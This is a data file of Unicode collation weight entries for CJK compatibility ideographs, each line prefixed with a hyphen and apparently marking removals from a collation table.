-F960      ; [.3A60.0024.0002.6012][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F960
-F9AC      ; [.3A63.0026.0002.601C][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AC
-2F8A0     ; [.3A69.0042.0002.6081][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A0
-FA3D      ; [.3A70.0026.0002.6094][.3AE7.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA3D
-2F8A3     ; [.3A70.0026.0002.6094][.3AE7.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A3
-2F8A5     ; [.3A61.0022.0002.60C7][.3AE4.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A5
-FA86      ; [.3A64.002D.0002.60D8][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA86
-F9B9      ; [.3A69.0025.0002.60E1][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B9
-FA88      ; [.3A69.002E.0002.6108][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA88
-F9D9      ; [.3A63.0022.0002.6144][.3AED.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D9
-2F8A6     ; [.3A6A.002A.0002.6148][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A6
-2F8A7     ; [.3A70.0027.0002.614C][.3AE5.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A7
-2F8A9     ; [.3A70.0027.0002.614C][.3AE5.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A9
-FA8A      ; [.3A69.0047.0002.6160][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA8A
-FA3E      ; [.3A5E.0028.0002.6168][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA3E
-2F8AA     ; [.3A63.0031.0002.617A][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AA
-FA3F      ; [.3A6A.0022.0002.618E][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA3F
-FA89      ; [.3A6A.0022.0002.618E][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA89
-2F8AB     ; [.3A6A.0022.0002.618E][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AB
-F98F      ; [.3A63.0021.0002.6190][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98F
-2F8AD     ; [.3A65.0028.0002.61A4][.3AE9.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AD
-2F8AE     ; [.3A6C.0030.0002.61AF][.3ADC.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AE
-2F8AC     ; [.3A70.0021.0002.61B2][.3AE0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AC
-2F8AF     ; [.3A64.0025.0002.61DE][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AF
-FA40      ; [.3A6A.0022.0002.61F2][.3AF0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA40
-FA8B      ; [.3A6A.0022.0002.61F2][.3AF0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA8B
-2F8B0     ; [.3A6A.0022.0002.61F2][.3AF0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B0
-F90D      ; [.3A63.0022.0002.61F6][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90D
-2F8B1     ; [.3A63.0022.0002.61F6][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B1
-F990      ; [.3A63.0022.0002.6200][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F990
-2F8B2     ; [.3A67.0026.0002.6210][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B2
-F9D2      ; [.3A63.0022.0002.622E][.3AED.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D2
-FA8C      ; [.3A61.0029.0002.6234][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA8C
-2F8B5     ; [.3A6F.002B.0002.62B1][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B5
-F925      ; [.3A63.0021.0002.62C9][.3ADC.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F925
-F95B      ; [.3A60.0024.0002.62CF][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95B
-FA02      ; [.3A6C.0026.0002.62D3][.3AE0.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA02
-2F8B6     ; [.3A65.0022.0002.62D4][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B6
-F973      ; [.3A67.0022.0002.62FE][.3AEE.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F973
-2F8B9     ; [.3A64.0027.0002.633D][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B9
-2F8B7     ; [.3A69.0027.0002.6350][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B7
-2F8BB     ; [.3A67.0039.0002.6368][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8BB
-F9A4      ; [.3A60.0024.0002.637B][.3AE2.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A4
-2F8BC     ; [.3A67.0029.0002.6383][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8BC
-F975      ; [.3A63.0021.0002.63A0][.3ADE.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F975
-2F8C1     ; [.3A69.0025.0002.63A9][.3AE0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8C1
-FA8D      ; [.3A69.0030.0002.63C4][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA8D
-FA8E      ; [.3A67.0030.0002.641C][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA8E
-2F8BF     ; [.3A6A.0025.0002.6422][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8BF
-2F8C3     ; [.3A64.0021.0002.6469][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8C3
-F991      ; [.3A60.0022.0002.649A][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F991
-2F8C5     ; [.3A70.0029.0002.649D][.3AEC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8C5
-F930      ; [.3A63.0023.0002.64C4][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F930
-FA41      ; [.3A64.0025.0002.654F][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA41
-2F8C8     ; [.3A64.0025.0002.654F][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8C8
-FA90      ; [.3A69.0030.0002.6556][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA90
-2F8C9     ; [.3A5E.0030.0002.656C][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8C9
-F969      ; [.3A67.0032.0002.6578][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F969
-F9BE      ; [.3A63.0025.0002.6599][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BE
-F983      ; [.3A63.0028.0002.65C5][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F983
-2F8CB     ; [.3A5E.0035.0002.65E3][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8CB
-F9E0      ; [.3A69.0024.0002.6613][.3AE2.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E0
-2F8CD     ; [.3A6A.0026.0002.6649][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8CD
-FA12      ; [.3A6C.0022.0002.6674][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA12
-FA91      ; [.3A6C.0022.0002.6674][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA91
-F9C5      ; [.3A70.002A.0002.6688][.3AE9.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C5
-FA43      ; [.3A67.002B.0002.6691][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA43
-2F8CF     ; [.3A67.002B.0002.6691][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8CF
-FA06      ; [.3A6F.0022.0002.66B4][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA06
-F98B      ; [.3A63.0022.0002.66C6][.3AE2.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98B
-F901      ; [.3A5E.0033.0002.66F4][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F901
-2F8CC     ; [.3A67.002D.0002.66F8][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8CC
-2F8D4     ; [.3A6C.0023.0002.6700][.3AE7.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D4
-F929      ; [.3A63.0022.0002.6717][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F929
-FA92      ; [.3A63.0022.0002.6717][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA92
-2F8D8     ; [.3A63.0022.0002.6717][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D8
-FA93      ; [.3A64.0025.0002.671B][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA93
-2F8D9     ; [.3A64.0025.0002.671B][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D9
-F9E1      ; [.3A63.0028.0002.674E][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E1
-2F8DC     ; [.3A6F.0025.0002.6753][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8DC
-FA94      ; [.3A6A.002E.0002.6756][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA94
-2F8DB     ; [.3A5E.0038.0002.675E][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8DB
-F9C8      ; [.3A60.0021.0002.677B][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C8
-F9F4      ; [.3A63.0021.0002.6797][.3AF0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F4
-F9C9      ; [.3A63.0023.0002.67F3][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C9
-F9DA      ; [.3A63.0023.0002.6817][.3AED.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DA
-F97A      ; [.3A63.0025.0002.6881][.3ADE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97A
-FA44      ; [.3A64.0027.0002.6885][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA44
-2F8E2     ; [.3A64.0027.0002.6885][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8E2
-F9E2      ; [.3A63.0029.0002.68A8][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E2
-2F8E8     ; [.3A67.0062.0002.6942][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8E8
-2F8EA     ; [.3A5E.002A.0002.69EA][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8EA
-F914      ; [.3A69.0028.0002.6A02][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F914
-F95C      ; [.3A69.0028.0002.6A02][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95C
-F9BF      ; [.3A69.0028.0002.6A02][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BF
-F94C      ; [.3A63.0024.0002.6A13][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94C
-F931      ; [.3A63.0024.0002.6AD3][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F931
-2F8ED     ; [.3A6A.0021.0002.6ADB][.3AEE.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8ED
-F91D      ; [.3A63.0023.0002.6B04][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91D
-2F8EF     ; [.3A6C.0028.0002.6B21][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8EF
-2F8F1     ; [.3A70.0025.0002.6B54][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8F1
-2F8F3     ; [.3A67.0023.0002.6B72][.3AE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8F3
-F98C      ; [.3A63.0023.0002.6B77][.3AE2.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98C
-F9A5      ; [.3A63.0023.0002.6BAE][.3AE2.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A5
-F970      ; [.3A67.0023.0002.6BBA][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F970
-FA96      ; [.3A67.0023.0002.6BBA][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA96
-2F8F5     ; [.3A67.0023.0002.6BBA][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8F5
-2F8FA     ; [.3A65.0025.0002.6C4E][.3AE0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8FA
-F972      ; [.3A6C.0024.0002.6C88][.3AF0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F972
-2F8FC     ; [.3A69.002B.0002.6CBF][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8FC
-F968      ; [.3A6F.0024.0002.6CCC][.3AF0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F968
-F9E3      ; [.3A60.0022.0002.6CE5][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E3
-F915      ; [.3A63.0021.0002.6D1B][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F915
-FA05      ; [.3A61.002A.0002.6D1E][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA05
-2F900     ; [.3A6F.0029.0002.6D3E][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F900
-F9CA      ; [.3A63.0025.0002.6D41][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CA
-FA97      ; [.3A63.0025.0002.6D41][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA97
-2F902     ; [.3A63.0025.0002.6D41][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F902
-2F903     ; [.3A70.002E.0002.6D69][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F903
-F92A      ; [.3A63.0023.0002.6D6A][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F92A
-FA45      ; [.3A70.002A.0002.6D77][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA45
-2F901     ; [.3A70.002A.0002.6D77][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F901
-2F904     ; [.3A6C.0025.0002.6D78][.3AF0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F904
-2F905     ; [.3A69.0022.0002.6D85][.3AE2.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F905
-F9F5      ; [.3A63.0022.0002.6DCB][.3AF0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F5
-F94D      ; [.3A63.0025.0002.6DDA][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94D
-F9D6      ; [.3A63.0024.0002.6DEA][.3AED.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D6
-2F90E     ; [.3A69.0026.0002.6DF9][.3AE0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F90E
-FA46      ; [.3A6A.002C.0002.6E1A][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA46
-2F908     ; [.3A70.002B.0002.6E2F][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F908
-2F909     ; [.3A69.002B.0002.6E6E][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F909
-F9CB      ; [.3A63.0026.0002.6E9C][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CB
-F9EC      ; [.3A60.0022.0002.6EBA][.3AF0.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9EC
-FA99      ; [.3A6A.002B.0002.6ECB][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA99
-2F90B     ; [.3A6A.002B.0002.6ECB][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F90B
-F904      ; [.3A70.0022.0002.6ED1][.3AE5.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F904
-F94E      ; [.3A63.0026.0002.6F0F][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94E
-FA47      ; [.3A70.0026.0002.6F22][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA47
-FA9A      ; [.3A70.0026.0002.6F22][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA9A
-F992      ; [.3A63.0024.0002.6F23][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F992
-2F90F     ; [.3A6A.0033.0002.6F6E][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F90F
-2F912     ; [.3A65.003C.0002.6FC6][.3AE9.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F912
-F922      ; [.3A63.0025.0002.6FEB][.3ADC.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F922
-F984      ; [.3A63.002A.0002.6FFE][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F984
-2F915     ; [.3A69.002D.0002.701B][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F915
-FA9B      ; [.3A6A.003D.0002.701E][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA9B
-2F914     ; [.3A6A.003D.0002.701E][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F914
-2F835     ; [.3A70.002D.0002.7070][.3AE7.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F835
-2F918     ; [.3A6A.002B.0002.707D][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F918
-F9FB      ; [.3A6A.002C.0002.7099][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FB
-2F91A     ; [.3A6E.0028.0002.70AD][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F91A
-F99F      ; [.3A63.0025.0002.70C8][.3AE2.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99F
-F916      ; [.3A63.0022.0002.70D9][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F916
-F993      ; [.3A63.0025.0002.7149][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F993
-FA48      ; [.3A6A.002D.0002.716E][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA48
-FA9C      ; [.3A6A.002D.0002.716E][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA9C
-F9C0      ; [.3A63.0026.0002.71CE][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C0
-F9EE      ; [.3A63.0023.0002.71D0][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9EE
-F932      ; [.3A63.0027.0002.7210][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F932
-F91E      ; [.3A63.0026.0002.721B][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91E
-2F920     ; [.3A6C.0036.0002.7228][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F920
-FA9E      ; [.3A6A.0028.0002.7235][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA9E
-2F921     ; [.3A6A.0028.0002.7235][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F921
-F946      ; [.3A63.0023.0002.7262][.3AE7.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F946
-2F924     ; [.3A67.0030.0002.7280][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F924
-FA9F      ; [.3A65.0027.0002.72AF][.3AE0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA9F
-F9FA      ; [.3A67.0035.0002.72C0][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FA
-F92B      ; [.3A63.0024.0002.72FC][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F92B
-FA16      ; [.3A6A.002E.0002.732A][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA16
-FAA0      ; [.3A6A.002E.0002.732A][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA0
-F9A7      ; [.3A63.0021.0002.7375][.3AE2.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A7
-2F928     ; [.3A61.0023.0002.737A][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F928
-F961      ; [.3A67.0021.0002.7387][.3AE4.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F961
-F9DB      ; [.3A67.0021.0002.7387][.3AE4.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DB
-2F929     ; [.3A69.0025.0002.738B][.3AE5.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F929
-F9AD      ; [.3A63.0027.0002.73B2][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AD
-F917      ; [.3A63.0023.0002.73DE][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F917
-F9E4      ; [.3A63.002D.0002.7406][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E4
-F9CC      ; [.3A63.0028.0002.7409][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CC
-FA4A      ; [.3A6E.002B.0002.7422][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4A
-2F92F     ; [.3A69.003D.0002.745C][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F92F
-F9AE      ; [.3A70.002D.0002.7469][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AE
-FAA1      ; [.3A6A.0057.0002.7471][.3AE0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA1
-2F930     ; [.3A6A.0057.0002.7471][.3AE0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F930
-F994      ; [.3A63.0026.0002.7489][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F994
-F9EF      ; [.3A63.0024.0002.7498][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9EF
-2F932     ; [.3A5E.003A.0002.74CA][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F932
-F9CD      ; [.3A63.002A.0002.7559][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CD
-F976      ; [.3A63.0022.0002.7565][.3ADE.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F976
-F962      ; [.3A69.002C.0002.7570][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F962
-2F938     ; [.3A69.002C.0002.7570][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F938
-F9E5      ; [.3A63.002F.0002.75E2][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E5
-2F93A     ; [.3A69.0059.0002.7610][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F93A
-FAA5      ; [.3A69.0023.0002.761F][.3AE4.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA5
-F9C1      ; [.3A63.0027.0002.7642][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C1
-F90E      ; [.3A63.0023.0002.7669][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90E
-FA17      ; [.3A69.0022.0002.76CA][.3AF0.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA17
-FAA6      ; [.3A69.0022.0002.76CA][.3AF0.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA6
-FAA7      ; [.3A67.002B.0002.76DB][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA7
-F933      ; [.3A63.0028.0002.76E7][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F933
-FAA8      ; [.3A6A.0021.0002.76F4][.3AF0.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA8
-2F940     ; [.3A6A.0021.0002.76F4][.3AF0.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F940
-F96D      ; [.3A67.002C.0002.7701][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96D
-2F945     ; [.3A6A.0033.0002.771E][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F945
-FAAA      ; [.3A6C.0023.0002.7740][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAAA
-2F94A     ; [.3A6A.0034.0002.778B][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F94A
-F9CE      ; [.3A63.002C.0002.786B][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CE
-F93B      ; [.3A63.0021.0002.788C][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93B
-2F94F     ; [.3A63.0021.0002.788C][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F94F
-FA4B      ; [.3A65.0038.0002.7891][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4B
-F947      ; [.3A63.0024.0002.78CA][.3AE7.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F947
-F964      ; [.3A65.0032.0002.78FB][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F964
-F985      ; [.3A63.002B.0002.792A][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F985
-FA4C      ; [.3A67.0046.0002.793E][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4C
